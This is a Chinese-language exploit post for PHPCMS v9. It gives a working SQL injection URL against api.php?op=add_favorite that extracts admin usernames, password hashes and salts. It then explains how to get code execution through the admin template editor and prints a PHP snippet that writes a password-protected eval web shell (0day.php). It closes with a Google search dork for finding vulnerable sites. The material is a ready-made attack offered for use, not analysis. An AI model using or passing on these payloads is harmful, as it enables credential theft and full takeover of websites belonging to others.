在phpcms/api.php?op=add_favorite中使用了urldecode,导致了一个sqlinject漏洞。$title = urldecode($title);
省略??
$data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid);
省略??
$favorite_db->insert($data);

(需要你先注册一个账户并且登陆后访问那个接口文件才会报错,进而注入!)
====================================================================
利用POC:
1、注册用户后,访问如下URL获取admin表的前缀:http://www.xxoo.com/api.php?op=add_favorite&url=xx.oo&title=%2527
2、修改如下URL中的admin表前缀名(xxoo_admin),直接爆出管理员的用户名:密码:随机字串
http://www.xxoo.com/api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252Cpassword%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from%2520xxoo_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and%2520%25271%2527%253D%25271
MD5能破解
后台拿shell
进入后台后点击界面--模版风格--随便找个页面点击修改
插入代码后点击提交..
然后回到模版管理找到刚才修改的页面,点击 可视化..
clip_image001
恩,代码执行了

clip_image003
看到这里估计很多人直接崩溃了....很明显的看到Phpcms v9后台很注重安全了,但不知道为什么又出现了这种低级的失误.哎..
上个生成代码:
<?
$fp = @fopen("0day.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[0day])'."\r\n\r\n?".">\r\n");
@fclose($fp);
?>
一句话地址:http://url/0day.php密码 0day
谷歌关键字:Powered by PHPCMS v9 2012   inurl:"index.php?m=content+c=rss+catid=10"

源链接

Hacking more

...